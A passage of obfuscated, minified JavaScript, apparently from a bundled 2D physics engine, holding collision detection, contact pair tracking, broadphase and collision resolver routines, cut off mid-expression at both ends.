_0x176484, _0x4e9a69, _0x15c861 = _0x4f3463(0xa27e), _0x2593a2 = _0x4f3463(0x119a); _0x6d9ce0 = [], _0x176484 = { 'overlap': 0x0, 'axis': null }, _0x4e9a69 = { 'overlap': 0x0, 'axis': null }, _0x200c2d['create'] = function (_0x4edf2a, _0x143546) { return { 'pair': null, 'collided': !0x1, 'bodyA': _0x4edf2a, 'bodyB': _0x143546, 'parentA': _0x4edf2a['parent'], 'parentB': _0x143546['parent'], 'depth': 0x0, 'normal': { 'x': 0x0, 'y': 0x0 }, 'tangent': { 'x': 0x0, 'y': 0x0 }, 'penetration': { 'x': 0x0, 'y': 0x0 }, 'supports': [null, null], 'supportCount': 0x0 }; }, _0x200c2d['collides'] = function (_0x2c98dc, _0x5a5a6c, _0x120db5) { if (_0x200c2d['_overlapAxes'](_0x176484, _0x2c98dc['vertices'], _0x5a5a6c['vertices'], _0x2c98dc['axes']), _0x176484['overlap'] <= 0x0) return null; if (_0x200c2d['_overlapAxes'](_0x4e9a69, _0x5a5a6c['vertices'], _0x2c98dc['vertices'], _0x5a5a6c['axes']), _0x4e9a69['overlap'] <= 0x0) return null; var _0x1efc5d, _0x4b6c7b, _0x479e0b = _0x120db5 && _0x120db5['table'][_0x2593a2['id'](_0x2c98dc, _0x5a5a6c)]; _0x479e0b ? _0x1efc5d = _0x479e0b['collision'] : ((_0x1efc5d = _0x200c2d['create'](_0x2c98dc, _0x5a5a6c))['collided'] = !0x0, _0x1efc5d['bodyA'] = _0x2c98dc['id'] < _0x5a5a6c['id'] ? _0x2c98dc : _0x5a5a6c, _0x1efc5d['bodyB'] = _0x2c98dc['id'] < _0x5a5a6c['id'] ? _0x5a5a6c : _0x2c98dc, _0x1efc5d['parentA'] = _0x1efc5d['bodyA']['parent'], _0x1efc5d['parentB'] = _0x1efc5d['bodyB']['parent']), _0x2c98dc = _0x1efc5d['bodyA'], _0x5a5a6c = _0x1efc5d['bodyB'], _0x4b6c7b = _0x176484['overlap'] < _0x4e9a69['overlap'] ? _0x176484 : _0x4e9a69; var _0xcd79bc = _0x1efc5d['normal'], _0x233aed = _0x1efc5d['tangent'], _0xfad02f = _0x1efc5d['penetration'], _0x4e42a5 = _0x1efc5d['supports'], _0x828dd3 = _0x4b6c7b['overlap'], _0xfe33d8 = _0x4b6c7b['axis'], _0x269973 = _0xfe33d8['x'], _0x44912f = _0xfe33d8['y']; _0x269973 * (_0x5a5a6c['position']['x'] - _0x2c98dc['position']['x']) + _0x44912f * (_0x5a5a6c['position']['y'] - _0x2c98dc['position']['y']) >= 0x0 && (_0x269973 = -_0x269973, _0x44912f = -_0x44912f), _0xcd79bc['x'] = _0x269973, _0xcd79bc['y'] = _0x44912f, _0x233aed['x'] = -_0x44912f, _0x233aed['y'] = _0x269973, _0xfad02f['x'] = _0x269973 * _0x828dd3, _0xfad02f['y'] = _0x44912f * _0x828dd3, _0x1efc5d['depth'] = _0x828dd3; var _0x59476a = _0x200c2d['_findSupports'](_0x2c98dc, _0x5a5a6c, _0xcd79bc, 0x1), _0xde3c2 = 0x0; if (_0x15c861['contains'](_0x2c98dc['vertices'], _0x59476a[0x0]) && (_0x4e42a5[_0xde3c2++] = _0x59476a[0x0]), _0x15c861['contains'](_0x2c98dc['vertices'], _0x59476a[0x1]) && (_0x4e42a5[_0xde3c2++] = _0x59476a[0x1]), _0xde3c2 < 0x2) { var _0x1d3e14 = _0x200c2d['_findSupports'](_0x5a5a6c, _0x2c98dc, _0xcd79bc, -0x1); _0x15c861['contains'](_0x5a5a6c['vertices'], _0x1d3e14[0x0]) && (_0x4e42a5[_0xde3c2++] = _0x1d3e14[0x0]), _0xde3c2 < 0x2 && _0x15c861['contains'](_0x5a5a6c['vertices'], _0x1d3e14[0x1]) && (_0x4e42a5[_0xde3c2++] = _0x1d3e14[0x1]); } return 0x0 === _0xde3c2 && (_0x4e42a5[_0xde3c2++] = _0x59476a[0x0]), _0x1efc5d['supportCount'] = _0xde3c2, _0x1efc5d; }, _0x200c2d['_overlapAxes'] = function (_0x4d8b9c, _0x52c443, _0x3d6913, _0x367952) { var _0x6087ae, _0x5e09fc, _0x2d98b7, _0x546225, _0x200e1e, _0x256a53, _0x1cd16c = _0x52c443['length'], _0x91f4a3 = _0x3d6913['length'], _0xeaaab = _0x52c443[0x0]['x'], _0x5b0524 = _0x52c443[0x0]['y'], _0x4b6f8b = _0x3d6913[0x0]['x'], _0x2d5cea = _0x3d6913[0x0]['y'], _0x4d3925 = _0x367952['length'], _0x33cb5b = Number['MAX_VALUE'], _0x105656 = 0x0; for (_0x200e1e = 0x0; _0x200e1e < _0x4d3925; _0x200e1e++) { var _0x14ffdf = _0x367952[_0x200e1e], _0x596043 = _0x14ffdf['x'], _0x2080ae = _0x14ffdf['y'], _0x3bff43 = _0xeaaab * _0x596043 + _0x5b0524 * _0x2080ae, _0x109aea = _0x4b6f8b * _0x596043 + _0x2d5cea * _0x2080ae, _0x4404ab = _0x3bff43, _0x3cf15d = _0x109aea; for (_0x256a53 = 0x1; _0x256a53 < _0x1cd16c; _0x256a53 += 0x1)(_0x546225 = _0x52c443[_0x256a53]['x'] * _0x596043 + _0x52c443[_0x256a53]['y'] * _0x2080ae) > _0x4404ab ? _0x4404ab = _0x546225 : _0x546225 < _0x3bff43 && (_0x3bff43 = _0x546225); for (_0x256a53 = 0x1; _0x256a53 < _0x91f4a3; _0x256a53 += 0x1)(_0x546225 = _0x3d6913[_0x256a53]['x'] * _0x596043 + _0x3d6913[_0x256a53]['y'] * _0x2080ae) > _0x3cf15d ? _0x3cf15d = _0x546225 : _0x546225 < _0x109aea && (_0x109aea = _0x546225); if ((_0x6087ae = (_0x5e09fc = _0x4404ab - _0x109aea) < (_0x2d98b7 = _0x3cf15d - _0x3bff43) ? _0x5e09fc : _0x2d98b7) < _0x33cb5b && (_0x33cb5b = _0x6087ae, _0x105656 = _0x200e1e, _0x6087ae <= 0x0)) break; } _0x4d8b9c['axis'] = _0x367952[_0x105656], _0x4d8b9c['overlap'] = _0x33cb5b; }, _0x200c2d['_findSupports'] = function (_0x26b545, _0x2df30f, _0x455726, _0x1141ab) { var _0x490b56, _0x5ccd0a, _0x4a1044, _0x374663 = _0x2df30f['vertices'], _0xe671cf = _0x374663['length'], _0x45d5ab = _0x26b545['position']['x'], _0x493ca8 = _0x26b545['position']['y'], _0xc12da1 = _0x455726['x'] * _0x1141ab, _0x2b3f71 = _0x455726['y'] * _0x1141ab, _0x2dec05 = _0x374663[0x0], _0x4612db = _0x2dec05, _0x164c8 = _0xc12da1 * (_0x45d5ab - _0x4612db['x']) + _0x2b3f71 * (_0x493ca8 - _0x4612db['y']); for (_0x4a1044 = 0x1; _0x4a1044 < _0xe671cf; _0x4a1044 += 0x1)(_0x5ccd0a = _0xc12da1 * (_0x45d5ab - (_0x4612db = _0x374663[_0x4a1044])['x']) + _0x2b3f71 * (_0x493ca8 - _0x4612db['y'])) < _0x164c8 && (_0x164c8 = _0x5ccd0a, _0x2dec05 = _0x4612db); return _0x164c8 = _0xc12da1 * (_0x45d5ab - (_0x490b56 = _0x374663[(_0xe671cf + _0x2dec05['index'] - 0x1) % _0xe671cf])['x']) + _0x2b3f71 * (_0x493ca8 - _0x490b56['y']), _0xc12da1 * (_0x45d5ab - (_0x4612db = _0x374663[(_0x2dec05['index'] + 0x1) % _0xe671cf])['x']) + _0x2b3f71 * (_0x493ca8 - _0x4612db['y']) < _0x164c8 ? (_0x6d9ce0[0x0] = _0x2dec05, _0x6d9ce0[0x1] = _0x4612db, _0x6d9ce0) : (_0x6d9ce0[0x0] = _0x2dec05, _0x6d9ce0[0x1] = _0x490b56, _0x6d9ce0); }; }, 0xa9a0: _0x5df52e => { var _0x4369d4 = {}; _0x5df52e['exports'] = _0x4369d4, _0x4369d4['create'] = function (_0x4a37d7) { return { 'vertex': _0x4a37d7, 'normalImpulse': 0x0, 'tangentImpulse': 0x0 }; }; }, 0x13dec: (_0xaac0d8, _0x149189, _0x250a86) => { var _0x52b05c = {}; _0xaac0d8['exports'] = _0x52b05c; var _0x2a9d1c = _0x250a86(0xd09a), _0xaccfa2 = _0x250a86(0xcc3c); _0x52b05c['create'] = function (_0x35c379) { return _0x2a9d1c['extend']({ 'bodies': [], 'collisions': [], 'pairs': null }, _0x35c379); }, _0x52b05c['setBodies'] = function (_0x417892, _0x35fa0e) { _0x417892['bodies'] = _0x35fa0e['slice'](0x0); }, _0x52b05c['clear'] = function (_0x327a21) { _0x327a21['bodies'] = [], _0x327a21['collisions'] = []; }, _0x52b05c['collisions'] = function (_0x23da20) { var _0x16b9f5, _0x2b7c6e, _0x1ec3eb = _0x23da20['pairs'], _0x3cf1f6 = _0x23da20['bodies'], _0x18fb22 = _0x3cf1f6['length'], _0x334f51 = _0x52b05c['canCollide'], _0x19bd21 = _0xaccfa2['collides'], _0x22870f = _0x23da20['collisions'], _0x81c8fc = 0x0; for (_0x3cf1f6['sort'](_0x52b05c['_compareBoundsX']), _0x16b9f5 = 0x0; _0x16b9f5 < _0x18fb22; _0x16b9f5++) { var _0xca6f2d = _0x3cf1f6[_0x16b9f5], _0x15575e = _0xca6f2d['bounds'], _0x246fdf = _0xca6f2d['bounds']['max']['x'], _0x5a91f1 = _0xca6f2d['bounds']['max']['y'], _0x21f913 = _0xca6f2d['bounds']['min']['y'], _0x3439f8 = _0xca6f2d['isStatic'] || _0xca6f2d['isSleeping'], _0x4dbeec = _0xca6f2d['parts']['length'], _0x43a2bb = 0x1 === _0x4dbeec; for (_0x2b7c6e = _0x16b9f5 + 0x1; _0x2b7c6e < _0x18fb22; _0x2b7c6e++) { var _0x1742b3 = _0x3cf1f6[_0x2b7c6e]; if ((_0x57f022 = _0x1742b3['bounds'])['min']['x'] > _0x246fdf) break; if (!(_0x5a91f1 < _0x57f022['min']['y'] || _0x21f913 > _0x57f022['max']['y']) && (!_0x3439f8 || !_0x1742b3['isStatic'] && !_0x1742b3['isSleeping']) && _0x334f51(_0xca6f2d['collisionFilter'], _0x1742b3['collisionFilter'])) { var _0x282515 = _0x1742b3['parts']['length']; if (_0x43a2bb && 0x1 === _0x282515) (_0x2d2462 = _0x19bd21(_0xca6f2d, _0x1742b3, _0x1ec3eb)) && (_0x22870f[_0x81c8fc++] = _0x2d2462); else { for (var _0x29763b = _0x282515 > 0x1 ? 0x1 : 0x0, _0x5944f9 = _0x4dbeec > 0x1 ? 0x1 : 0x0; _0x5944f9 < _0x4dbeec; _0x5944f9++)for (var _0x62c3ec = _0xca6f2d['parts'][_0x5944f9], _0x1f2a2c = (_0x15575e = _0x62c3ec['bounds'], _0x29763b); _0x1f2a2c < _0x282515; _0x1f2a2c++) { var _0x2d2462, _0x429072 = _0x1742b3['parts'][_0x1f2a2c], _0x57f022 = _0x429072['bounds']; _0x15575e['min']['x'] > _0x57f022['max']['x'] || _0x15575e['max']['x'] < _0x57f022['min']['x'] || _0x15575e['max']['y'] < _0x57f022['min']['y'] || _0x15575e['min']['y'] > _0x57f022['max']['y'] || (_0x2d2462 = _0x19bd21(_0x62c3ec, _0x429072, _0x1ec3eb)) && (_0x22870f[_0x81c8fc++] = _0x2d2462); } } } } } return _0x22870f['length'] !== _0x81c8fc && (_0x22870f['length'] = _0x81c8fc), _0x22870f; }, _0x52b05c['canCollide'] = function (_0x19e852, _0x461a75) { return _0x19e852['group'] === _0x461a75['group'] && 0x0 !== _0x19e852['group'] ? _0x19e852['group'] > 0x0 : 0x0 != (_0x19e852['mask'] & _0x461a75['category']) && 0x0 != (_0x461a75['mask'] & _0x19e852['category']); }, _0x52b05c['_compareBoundsX'] = function (_0x5e9f8f, _0x2dc74e) { return _0x5e9f8f['bounds']['min']['x'] - _0x2dc74e['bounds']['min']['x']; }; }, 0x119a: (_0x38e0c1, _0x2ad0d8, _0x37db25) => { var _0x46d6d9 = {}; _0x38e0c1['exports'] = _0x46d6d9; var _0x15ac08 = _0x37db25(0xa9a0); _0x46d6d9['create'] = function (_0x404119, _0x1b85c7) { var _0x24623c = _0x404119['bodyA'], _0xba9de5 = _0x404119['bodyB'], _0x184495 = { 'id': _0x46d6d9['id'](_0x24623c, _0xba9de5), 'bodyA': _0x24623c, 'bodyB': _0xba9de5, 'collision': _0x404119, 'contacts': [_0x15ac08['create'](), _0x15ac08['create']()], 'contactCount': 0x0, 'separation': 0x0, 'isActive': !0x0, 'isSensor': _0x24623c['isSensor'] || _0xba9de5['isSensor'], 'timeCreated': _0x1b85c7, 'timeUpdated': _0x1b85c7, 'inverseMass': 0x0, 'friction': 0x0, 'frictionStatic': 0x0, 'restitution': 0x0, 'slop': 0x0 }; return _0x46d6d9['update'](_0x184495, _0x404119, _0x1b85c7), _0x184495; }, _0x46d6d9['update'] = function (_0x28c03a, _0x1beb5c, _0x277433) { var _0x5ad109 = _0x1beb5c['supports'], _0x2f747c = _0x1beb5c['supportCount'], _0x443a18 = _0x28c03a['contacts'], _0x1867ad = _0x1beb5c['parentA'], _0x2c7010 = _0x1beb5c['parentB']; _0x28c03a['isActive'] = !0x0, _0x28c03a['timeUpdated'] = _0x277433, _0x28c03a['collision'] = _0x1beb5c, _0x28c03a['separation'] = _0x1beb5c['depth'], _0x28c03a['inverseMass'] = _0x1867ad['inverseMass'] + _0x2c7010['inverseMass'], _0x28c03a['friction'] = _0x1867ad['friction'] < _0x2c7010['friction'] ? _0x1867ad['friction'] : _0x2c7010['friction'], _0x28c03a['frictionStatic'] = _0x1867ad['frictionStatic'] > _0x2c7010['frictionStatic'] ? _0x1867ad['frictionStatic'] : _0x2c7010['frictionStatic'], _0x28c03a['restitution'] = _0x1867ad['restitution'] > _0x2c7010['restitution'] ? _0x1867ad['restitution'] : _0x2c7010['restitution'], _0x28c03a['slop'] = _0x1867ad['slop'] > _0x2c7010['slop'] ? _0x1867ad['slop'] : _0x2c7010['slop'], _0x28c03a['contactCount'] = _0x2f747c, _0x1beb5c['pair'] = _0x28c03a; var _0x87809f = _0x5ad109[0x0], _0x5b3be3 = _0x443a18[0x0], _0x12b0d9 = _0x5ad109[0x1], _0xe5a8dc = _0x443a18[0x1]; _0xe5a8dc['vertex'] !== _0x87809f && _0x5b3be3['vertex'] !== _0x12b0d9 || (_0x443a18[0x1] = _0x5b3be3, _0x443a18[0x0] = _0x5b3be3 = _0xe5a8dc, _0xe5a8dc = _0x443a18[0x1]), _0x5b3be3['vertex'] = _0x87809f, _0xe5a8dc['vertex'] = _0x12b0d9; }, _0x46d6d9['setActive'] = function (_0x3ff4dc, _0x550089, _0x2cfa5d) { _0x550089 ? (_0x3ff4dc['isActive'] = !0x0, _0x3ff4dc['timeUpdated'] = _0x2cfa5d) : (_0x3ff4dc['isActive'] = !0x1, _0x3ff4dc['contactCount'] = 0x0); }, _0x46d6d9['id'] = function (_0x442280, _0x2a5273) { return _0x442280['id'] < _0x2a5273['id'] ? _0x442280['id']['toString'](0x24) + ':' + _0x2a5273['id']['toString'](0x24) : _0x2a5273['id']['toString'](0x24) + ':' + _0x442280['id']['toString'](0x24); }; }, 0x184e9: (_0x237122, _0x337999, _0x1b891d) => { var _0x53e5e8 = {}; _0x237122['exports'] = _0x53e5e8; var _0x54a674 = _0x1b891d(0x119a), _0x566495 = _0x1b891d(0xd09a); _0x53e5e8['create'] = function (_0x3b5d2e) { return _0x566495['extend']({ 'table': {}, 'list': [], 'collisionStart': [], 'collisionActive': [], 'collisionEnd': [] }, _0x3b5d2e); }, _0x53e5e8['update'] = function (_0x90a5a8, _0x493339, _0x40cb94) { var _0x27bd1f, _0x41174e, _0x58edcc, _0x1dfa23 = _0x54a674['update'], _0x32fbc3 = _0x54a674['create'], _0x37ec46 = _0x54a674['setActive'], _0x5e64a0 = _0x90a5a8['table'], _0x2632c4 = _0x90a5a8['list'], _0x42c8b1 = _0x2632c4['length'], _0x37d34f = _0x42c8b1, _0x4027ec = _0x90a5a8['collisionStart'], _0x5ba6b6 = _0x90a5a8['collisionEnd'], _0x1c6381 = _0x90a5a8['collisionActive'], _0x474d54 = _0x493339['length'], _0x567ada = 0x0, _0x485c4b = 0x0, _0x47454b = 0x0; for (_0x58edcc = 0x0; _0x58edcc < _0x474d54; _0x58edcc++)(_0x41174e = (_0x27bd1f = _0x493339[_0x58edcc])['pair']) ? (_0x41174e['isActive'] && (_0x1c6381[_0x47454b++] = _0x41174e), _0x1dfa23(_0x41174e, _0x27bd1f, _0x40cb94)) : (_0x5e64a0[(_0x41174e = _0x32fbc3(_0x27bd1f, _0x40cb94))['id']] = _0x41174e, _0x4027ec[_0x567ada++] = _0x41174e, _0x2632c4[_0x37d34f++] = _0x41174e); for (_0x37d34f = 0x0, _0x42c8b1 = _0x2632c4['length'], _0x58edcc = 0x0; _0x58edcc < _0x42c8b1; _0x58edcc++)(_0x41174e = _0x2632c4[_0x58edcc])['timeUpdated'] >= _0x40cb94 ? _0x2632c4[_0x37d34f++] = _0x41174e : (_0x37ec46(_0x41174e, !0x1, _0x40cb94), _0x41174e['collision']['bodyA']['sleepCounter'] > 0x0 && _0x41174e['collision']['bodyB']['sleepCounter'] > 0x0 ? _0x2632c4[_0x37d34f++] = _0x41174e : (_0x5ba6b6[_0x485c4b++] = _0x41174e, delete _0x5e64a0[_0x41174e['id']])); _0x2632c4['length'] !== _0x37d34f && (_0x2632c4['length'] = _0x37d34f), _0x4027ec['length'] !== _0x567ada && (_0x4027ec['length'] = _0x567ada), _0x5ba6b6['length'] !== _0x485c4b && (_0x5ba6b6['length'] = _0x485c4b), _0x1c6381['length'] !== _0x47454b && (_0x1c6381['length'] = _0x47454b); }, _0x53e5e8['clear'] = function (_0xbb0a21) { return _0xbb0a21['table'] = {}, _0xbb0a21['list']['length'] = 0x0, _0xbb0a21['collisionStart']['length'] = 0x0, _0xbb0a21['collisionActive']['length'] = 0x0, _0xbb0a21['collisionEnd']['length'] = 0x0, _0xbb0a21; }; }, 0x11e50: (_0x49797c, _0x40f598, _0x405a81) => { var _0x49d603 = {}; _0x49797c['exports'] = _0x49d603; var _0x176e88 = _0x405a81(0x7bed), _0x4d8072 = _0x405a81(0xcc3c), _0x453fbe = _0x405a81(0x3d1f), _0x440497 = _0x405a81(0x102e8), _0x76a826 = _0x405a81(0xa27e); _0x49d603['collides'] = function (_0x23248d, _0x54de61) { for (var _0x3e8757 = [], _0x46f698 = _0x54de61['length'], _0x650007 = _0x23248d['bounds'], _0x2d23af = _0x4d8072['collides'], _0x1b89f3 = _0x453fbe['overlaps'], _0x4b69e5 = 0x0; _0x4b69e5 < _0x46f698; _0x4b69e5++) { var _0x492157 = _0x54de61[_0x4b69e5], _0x35a3eb = _0x492157['parts']['length'], _0x6d5822 = 0x1 === _0x35a3eb ? 0x0 : 0x1; if (_0x23248d !== _0x492157 && _0x1b89f3(_0x492157['bounds'], _0x650007)) for (var _0x1bd122 = _0x6d5822; _0x1bd122 < _0x35a3eb; _0x1bd122++) { var _0x10aa7d = _0x492157['parts'][_0x1bd122]; if (_0x1b89f3(_0x10aa7d['bounds'], _0x650007)) { var _0x517b49 = _0x2d23af(_0x10aa7d, _0x23248d); if (_0x517b49) { _0x3e8757['push'](_0x517b49); break; } } } } return _0x3e8757; }, _0x49d603['ray'] = function (_0x11db83, _0x1af1d9, _0xb364e0, _0xfd4d8f) { _0xfd4d8f = _0xfd4d8f || 1e-100; for (var _0x2fb7c2 = _0x176e88['angle'](_0x1af1d9, _0xb364e0), _0x3c73c4 = _0x176e88['magnitude'](_0x176e88['sub'](_0x1af1d9, _0xb364e0)), _0x2a1b08 = 0.5 * (_0xb364e0['x'] + _0x1af1d9['x']), _0x19b808 = 0.5 * (_0xb364e0['y'] + _0x1af1d9['y']), _0x1dd858 = _0x440497['rectangle'](_0x2a1b08, _0x19b808, _0x3c73c4, _0xfd4d8f, { 'angle': _0x2fb7c2 }), _0x400970 = _0x49d603['collides'](_0x1dd858, _0x11db83), _0x1a5269 = 0x0; _0x1a5269 < _0x400970['length']; _0x1a5269 += 0x1) { var _0x2fb0b2 = _0x400970[_0x1a5269]; _0x2fb0b2['body'] = _0x2fb0b2['bodyB'] = _0x2fb0b2['bodyA']; } return _0x400970; }, _0x49d603['region'] = function (_0x3cc6c6, _0x1a61a1, _0x4123cb) { for (var _0x224aab = [], _0x3aad82 = 0x0; _0x3aad82 < _0x3cc6c6['length']; _0x3aad82++) { var _0x4bc3ed = _0x3cc6c6[_0x3aad82], _0x55d857 = _0x453fbe['overlaps'](_0x4bc3ed['bounds'], _0x1a61a1); (_0x55d857 && !_0x4123cb || !_0x55d857 && _0x4123cb) && _0x224aab['push'](_0x4bc3ed); } return _0x224aab; }, _0x49d603['point'] = function (_0x2f137d, _0x493209) { for (var _0x377a2f = [], _0x837b8e = 0x0; _0x837b8e < _0x2f137d['length']; _0x837b8e++) { var _0x308a89 = _0x2f137d[_0x837b8e]; if (_0x453fbe['contains'](_0x308a89['bounds'], _0x493209)) for (var _0x2f8a46 = 0x1 === _0x308a89['parts']['length'] ? 0x0 : 0x1; _0x2f8a46 < _0x308a89['parts']['length']; _0x2f8a46++) { var _0x2e6eb7 = _0x308a89['parts'][_0x2f8a46]; if (_0x453fbe['contains'](_0x2e6eb7['bounds'], _0x493209) && _0x76a826['contains'](_0x2e6eb7['vertices'], _0x493209)) { _0x377a2f['push'](_0x308a89); break; } } } return _0x377a2f; }; }, 0x102e0: (_0x454e37, _0x133a69, _0x492680) => { var _0x20d4b5 = {}; _0x454e37['exports'] = _0x20d4b5; var _0x350096 = _0x492680(0xa27e), _0x2df13e = _0x492680(0xd09a), _0x2bec95 = _0x492680(0x3d1f); _0x20d4b5['_restingThresh'] = 0x2, _0x20d4b5['_restingThreshTangent'] = Math['sqrt'](0x6), _0x20d4b5['_positionDampen'] = 0.9, _0x20d4b5['_positionWarming'] = 0.8, _0x20d4b5['_frictionNormalMultiplier'] = 0x5, _0x20d4b5['_frictionMaxStatic'] = Number['MAX_VALUE'], _0x20d4b5['preSolvePosition'] = function (_0x38baf4) { var _0x5e866c, _0x434597, _0x133a39, _0x4e53d5 = _0x38baf4['length']; for (_0x5e866c = 0x0; _0x5e866c < _0x4e53d5; _0x5e866c++)(_0x434597 = _0x38baf4[_0x5e866c])['isActive'] && (_0x133a39 = _0x434597['contactCount'], _0x434597['collision']['parentA']['totalContacts'] += _0x133a39, _0x434597['collision']['parentB']['totalContacts'] += _0x133a39); }, _0x20d4b5['solvePosition'] = function (_0x19ddea, _0x1c3242, _0x5a6a51) { var _0x3fe600, _0x3d938f, _0x5b1b9e, _0x5a81a0, _0x4bc8dd, _0x497b65, _0x4f9731, _0x26e8db, _0x4c2678 = _0x20d4b5['_positionDampen'] * (_0x5a6a51 || 0x1), _0x596b39 = _0x2df13e['clamp'](_0x1c3242 / _0x2df13e['_baseDelta'], 0x0, 0x1), _0x40610e = _0x19ddea['length']; for (_0x3fe600 = 0x0; _0x3fe600 < _0x40610e; _0x3fe600++)(_0x3d938f = _0x19ddea[_0x3fe600])['isActive'] && !_0x3d938f['isSensor'] && (_0x5a81a0 = (_0x5b1b9e = _0x3d938f['collision'])['parentA'], _0x4bc8dd = _0x5b1b9e['parentB'], _0x497b65 = _0x5b1b9e['normal'], _0x3d938f['separation'] = _0x5b1b9e['depth'] + _0x497b65['x'] * (_0x4bc8dd['positionImpulse']['x'] - _0x5a81a0['positionImpulse']['x']) + _0x497b65['y'] * (_0x4bc8dd['positionImpulse']['y'] - _0x5a81a0['positionImpulse']['y'])); for (_0x3fe600 = 0x0; _0x3fe600 < _0x40610e; _0x3fe600++)(_0x3d938f = _0x19ddea[_0x3fe600])['isActive'] && !_0x3d938f['isSensor'] && (_0x5a81a0 = (_0x5b1b9e = _0x3d938f['collision'])['parentA'], _0x4bc8dd = _0x5b1b9e['parentB'], _0x497b65 = _0x5b1b9e['normal'], _0x26e8db = _0x3d938f['separation'] - _0x3d938f['slop'] * _0x596b39, (_0x5a81a0['isStatic'] || _0x4bc8dd['isStatic']) && (_0x26e8db *= 0x2), _0x5a81a0['isStatic'] || _0x5a81a0['isSleeping'] || (_0x4f9731 = _0x4c2678 / _0x5a81a0['totalContacts'], _0x5a81a0['positionImpulse']['x'] += _0x497b65['x'] * _0x26e8db * _0x4f9731, _0x5a81a0['positionImpulse']['y'] += _0x497b65['y'] * _0x26e8db * _0x4f9731), _0x4bc8dd['isStatic'] || _0x4bc8dd['isSleeping'] || (_0x4f9731 = _0x4c2678 / _0x4bc8dd['totalContacts'], _0x4bc8dd['positionImpulse']['x'] -= _0x497b65['x'] * _0x26e8db * _0x4f9731, _0x4bc8dd['positionImpulse']['y'] -= _0x497b65['y'] * _0x26e8db * _0x4f9731)); }, _0x20d4b5['postSolvePosition'] = function (_0x139253) { for (var _0x1dd4ef = _0x20d4b5['_positionWarming'], _0xb88621 = _0x139253['length'], _0x5371fe = _0x350096['translate'], _0x3cd995 = _0x2bec95['update'], _0x20e091 = 0x0; _0x20e091 < _0xb88621; _0x20e091++) { var _0x2aa76a = _0x139253[_0x20e091], _0x4a490e = _0x2aa76a['positionImpulse'], _0xb82a82 = _0x4a490e['x'], _0x47f670 = _0x4a490e['y'], _0x50dbeb = _0x2aa76a['velocity']; if (_0x2aa76a['totalContacts'] = 0x0, 0x0 !== _0xb82a82 || 0x0 !== _0x47f670) { for (var _0x5c7bd9 = 0x0; _0x5c7bd9 < _0x2aa76a['parts']['length']; _0x5c7bd9++) { var _0x3919a7 = _0x2aa76a['parts'][_0x5c7bd9]; _0x5371fe(_0x3919a7['vertices'], _0x4a490e), _0x3cd995(_0x3919a7['bounds'], _0x3919a7['vertices'], _0x50dbeb), _0x3919a7['position']['x'] += _0xb82a82, _0x3919a7['position']['y'] += _0x47f670; } _0x2aa76a['positionPrev']['x'] += _0xb82a82, _0x2aa76a['positionPrev']['y'] += _0x47f670, _0xb82a82 * _0x50dbeb['x'] + _0x47f670 * _0x50dbeb['y'] < 0x0 ? (_0x4a490e['x'] = 0x0, _0x4a490e['y'] = 0x0) : (_0x4a490e['x'] *= _0x1dd4ef, _0x4a490e['y'] *= _0x1dd4ef); } } }, _0x20d4b5['preSolveVelocity'] = function (_0x22e585) { var _0x1482ee, _0x3ab6cf, _0x427c32 = _0x22e585['length']; for (_0x1482ee = 0x0; _0x1482ee < _0x427c32; _0x1482ee++) { var _0x48f04e = _0x22e585[_0x1482ee]; if (_0x48f04e['isActive'] && !_0x48f04e['isSensor']) { var _0x200697 = _0x48f04e['contacts'], _0x57c3df = _0x48f04e['contactCount'], _0x4b72a2 = _0x48f04e['collision'], _0x3ea213 = _0x4b72a2['parentA'], _0x1423c1 = _0x4b72a2['parentB'], _0x503451 = _0x4b72a2['normal'], _0x56ff62 = _0x4b72a2['tangent']; for (_0x3ab6cf = 0x0; _0x3ab6cf < _0x57c3df; _0x3ab6cf++) { var _0x580cd1 = _0x200697[_0x3ab6cf], _0x48efe2 = _0x580cd1['vertex'], _0x4bb9fc = _0x580cd1['normalImpulse'], _0x1dd78d = _0x580cd1['tangentImpulse']; if (0x0 !== _0x4bb9fc || 0x0 !== _0x1dd78d) { var _0x49a8d2 = _0x503451['x'] * _0x4bb9fc + _0x56ff62['x'] * _0x1dd78d, _0x746e61 = _0x503451['y'] * _0x4bb9fc + _0x56ff62['y'] * _0x1dd78d; _0x3ea213['isStatic'] || _0x3ea213['isSleeping'] || (_0x3ea213['positionPrev']['x'] += _0x49a8d2 * _0x3ea213['inverseMass'], _0x3ea213['positionPrev']['y'] += _0x746e61 * _0x3ea213['inverseMass'], _0x3ea213['anglePrev'] += _0x3ea213['inverseInertia'] * ((_0x48efe2['x'] - _0x3ea213['position']['x']) * _0x746e61 - (_0x48efe2['y'] - _0x3ea213['position']['y']) * _0x49a8d2)), _0x1423c1['isStatic'] || _0x1423c1['isSleeping'] || (_0x1423c1['positionPrev']['x'] -= _0x49a8d2 * _0x1423c1['inverseMass'], _0x1423c1['positionPrev']['y'] -= _0x746e61 * _0x1423c1['inverseMass'], _0x1423c1['anglePrev'] -= _0x1423c1['inverseInertia'] * ((_0x48efe2['x'] - _0x1423c1['position']['x']) * _0x746e61 - (_0x48efe2['y'] - _0x1423c1['position']['y']) * _0x49a8d2)); } } } } }, _0x20d4b5['solveVelocity'] = function (_0x484403, _0x4184c7) { var _0xd50d5d, _0x226a8f, _0x436dbf, _0x111ddf, _0x1a46ee = _0x4184c7 / _0x2df13e['_baseDelta'], _0x194656 = _0x1a46ee * _0x1a46ee * _0x1a46ee, _0x2e1e9a = -_0x20d4b5['_restingThresh'] * _0x1a46ee, _0x3d918d = _0x20d4b5['_restingThreshTangent'], _0xcc7792 = _0x20d4b5['_frictionNormalMultiplier'] * _0x1a46ee, _0x41fe8b = _0x20d4b5['_frictionMaxStatic'], _0x4ec623 = _0x484403['length']; for (_0x436dbf = 0x0; _0x436dbf < _0x4ec623; _0x436dbf++) { var _0x27a541 = _0x484403[_0x436dbf]; if (_0x27a541['isActive'] && !_0x27a541['isSensor']) { var _0x2afd0c = _0x27a541['collision'], _0x37484f = _0x2afd0c['parentA'], _0x5307f4 = _0x2afd0c['parentB'], _0x303324 = _0x2afd0c['normal']['x'], _0x507e55 = _0x2afd0c['normal']['y'], _0x24f64d = _0x2afd0c['tangent']['x'], _0x41dc06 = _0x2afd0c['tangent']['y'], _0x260319 = _0x27a541['inverseMass'], _0x1a9625 = _0x27a541['friction'] * _0x27a541['frictionStatic'] * _0xcc7792, _0x451ad5 = _0x27a541['contacts'], _0x3d2b55 = _0x27a541['contactCount'], _0x2105fb = 0x1 / _0x3d2b55, _0x3e4a01 = _0x37484f['position']['x'] - _0x37484f['positionPrev']['x'], _0x39ed9e = _0x37484f['position']['y'] - _0x37484f['positionPrev']['y'], _0x1960b0 = _0x37484f['angle'] - 